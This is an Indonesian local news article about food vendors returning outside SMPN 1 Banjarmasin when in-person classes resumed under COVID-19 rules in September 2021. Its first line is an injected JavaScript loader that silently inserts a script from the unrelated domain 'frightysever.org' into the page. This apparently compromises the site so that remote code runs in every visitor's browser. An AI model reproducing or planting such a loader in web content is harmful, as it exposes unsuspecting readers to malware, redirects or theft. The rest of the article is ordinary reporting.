(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN- Pembelajaran tatap muka (PTM) di Banjarmasin juga disertai munculnya sejumlah penjual makanan dan minuman di kawasan sekolah. Para pedagang tersebut kembali berjualan setelah sekian lama tidak ada aktivitas di sekolah yang turut menyokong ekonominya.
Kondisi ini sebagaimana terjadi di SMPN 1 Banjarmasin. Terlihat sejumlah pedagang makanan aktif berjualan di depan sekolah, setelah PTM dibuka sejak 24 September lalu.
Rahmani, selaku bagian kesiswaan SMPN 1 Banjarmasin kepada Kanalkalimantan.com mengatakan, para penjual makanan itu membidik peluang dari mulai aktifnya siswa ke sekolah.
“Sebenarnya salah satu instruksi dari Wali Kota Banjarmasin ke pihak sekolah untuk sementara ini kantin sekolah memang tidak dibuka terlebih dahulu. Untuk para siswa dan orang tua kami arahkan untuk membawa bekal dari rumah, “terang Rahmani, Rabu (29/9/2021).
Baca juga: Sempat Menghilang Sehari, Ini Identitas Mayat Mengapung di Sungai Martapura
Meski demikian, Rahmani berharap agar para penjual makanan dan minuman di luar sekolah hanya take away atau dibungkus. Tidak melayani makan di tempat.
“Untuk para pedagang kami tidak bisa menyalahkan karena salah satu program wali kota yaitu membangkitkan pendidikan dan ekonomi masyarakat,” jelasnya.
Sementara dari pantauan Kanalkalimantan.com, pelaksanaan PTM di SMPN 1 Banjarmasin berlangsung ketat dengan penerapan protokol kesehatan.
“Untuk kegiatan proses belajar mengajar berjalan sesuai dengan Prokes dan jumlah siswa hanya diisi sebanyak 50 persen tiap kelasnya yang hanya berlangsung selama satu jam. Pembelajaran dibagi menjadi tiga sesi sesuai instruksi dari Dinas Pendidikan,” jelasnya.
Ia pun mengatakan, sebelumnya juga mendapat laporan ke bagian Kesiswaan, adanya 6 siswa yang pernah terpapar Covid -19.
“Setelah kami tracing dan selidiki ternyata siswa yang bersangkutan ada yang pernah melakukan perjalanan ke luar kota, ” terangnya.
Makam kata Rahmani siswa tersebut diarahkan untuk tidak masuk ke sekolah dulu dan belajar dari rumah.
Baca juga: Covid-19 Banjarbaru Melandai, Kalakhar BPBD: Sepekan Tidak Ada Catatan Kematian
Salah satu siswa siswa kelas 7, Lionel, mengatakan, senang bisa kembali masuk sekolah.
“Selama dua tahun terakhir ini saya kegiatan cuma di rumah, bangun pagi kadang sering bantu orang tua dan saya juga rindu ketemu sama teman-teman,” ujarnya. (kanalkalimantan.com /Seno)
Reporter: seno
Editor: cell
Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More
KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More
This website uses cookies.